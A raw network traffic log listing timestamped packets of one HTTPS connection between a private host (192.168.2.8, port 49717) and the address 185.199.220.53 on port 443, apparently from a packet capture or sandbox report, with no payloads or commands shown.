Apr 24, 2024 14:43:25.143018961 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.143024921 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.143043995 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.143070936 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.143075943 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.143100977 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.143120050 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.143126965 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.143131018 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.143143892 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.143170118 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.143218040 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.143220901 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.143229961 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.143246889 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.143280983 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.143285990 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.143312931 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.143321037 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.143333912 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.143337965 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.143351078 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.143378019 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.143382072 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.143423080 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.143425941 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.143434048 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.143455029 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.143485069 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.143487930 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.143517971 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.143518925 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.143541098 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.143554926 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.143572092 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.143580914 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.143623114 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.143639088 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.143657923 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.143702984 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.143707037 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.143722057 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.143748045 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.143748045 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.143759012 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.143784046 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.143819094 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.143827915 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.143857956 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.143892050 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.143896103 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.143917084 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.143943071 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.143943071 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.143953085 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.143980980 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.144009113 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.144011974 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.144026041 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.144049883 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.144049883 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.144083023 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.144087076 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.144109011 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.144144058 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.144151926 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.144171000 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.144220114 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.144223928 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.144236088 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.144262075 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.144262075 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.144274950 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.144299984 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.144332886 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.144345045 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.144364119 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.144417048 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.144421101 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.144428968 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.144457102 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.144478083 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.144483089 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.144515038 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.144524097 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.144556046 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.144556999 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.144572973 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.144592047 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.144624949 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.144645929 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.144666910 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.144715071 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.144718885 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.144726992 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.144748926 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.144778967 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.144782066 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.144818068 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.144819021 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.144843102 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.144849062 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.144855022 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.144892931 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.144920111 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.144928932 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.144932985 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.144946098 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.144972086 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.144975901 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.144996881 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.145016909 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.145020962 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.145029068 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.145049095 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.145076036 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.145078897 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.145104885 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.145116091 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.145119905 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.145140886 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.145172119 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.145174980 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.145193100 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.145198107 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.145215034 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.145225048 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.145229101 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.145276070 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.145284891 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.145307064 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.145350933 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.145354986 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.145382881 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.145386934 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.145402908 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.145411968 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.145423889 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.145442963 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.145486116 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.145493984 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.145514011 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.145566940 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.145569086 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.145581007 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.145605087 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.145627975 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.145631075 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.145674944 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.145675898 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.145694971 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.145720959 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.145725012 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.145750999 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.145765066 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.145788908 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.145792961 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.145804882 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.145823002 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.145859957 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.145868063 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.145889044 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.145936966 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.145941019 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.145952940 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.145978928 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.145988941 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.145992041 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.146028996 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.146028996 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.146049023 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.146056890 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.146063089 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.146111012 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.146126032 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.146143913 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.146200895 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.146204948 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.146213055 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.146235943 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.146258116 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.146262884 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.146305084 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.146305084 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.146317005 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.146333933 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.146362066 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.146365881 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.146389008 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.146401882 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.146416903 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.146420002 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.146442890 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.146462917 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.146466970 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.146502972 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.146522999 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.146586895 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.146605968 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.146656036 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.146661043 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.146672964 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.146699905 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.146704912 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.146716118 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.146738052 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.146784067 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.146785021 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.146796942 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.146820068 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.146847010 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.146850109 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.146878958 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.146881104 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.146898031 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.146904945 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.146914005 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.146935940 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.146979094 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.146979094 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.146992922 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.147015095 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.147041082 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.147043943 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.147068024 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.147078037 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.147093058 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.147095919 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.147110939 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.147131920 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.147135973 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.147172928 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.147178888 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.147185087 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.147207975 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.147233009 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.147236109 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.147259951 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.147269964 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.147288084 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.147296906 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.147309065 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.147324085 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.147366047 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.147381067 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.147406101 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.147449017 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.147453070 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.147475958 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.147479057 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.147501945 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.147507906 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.147521973 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.147540092 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.147581100 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.147649050 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.147666931 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.147716999 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.147720098 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.147731066 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.147747993 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.147758007 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.147764921 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.147770882 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.147823095 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.147840023 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.147856951 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.147861004 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.147876978 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.147895098 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.147922039 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.147939920 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.147949934 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.147983074 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.148035049 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.148036957 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.148096085 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.183702946 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.183712959 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.183729887 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.183739901 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.183866978 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.183897018 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.183932066 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.183940887 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.184003115 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.184144020 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.184150934 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.184212923 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.184282064 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.184300900 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.184324026 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.184385061 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.184389114 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.184397936 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.184432983 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.184433937 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.184454918 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.184458971 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.184489012 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.184520006 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.184523106 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.184535027 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.184556007 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.184585094 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.184587955 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.184617043 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.184617996 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.184640884 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.184650898 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.184662104 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.184683084 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.184726000 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.184730053 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.184782028 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.185416937 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.185420990 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.185621023 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.185983896 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.187412024 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.421662092 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.421696901 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.421840906 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.421853065 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.421900988 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.422360897 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.422380924 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.422441959 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.422446966 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.422497034 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.423109055 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.423129082 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.423192024 CEST	49717	443	192.168.2.8	185.199.220.53
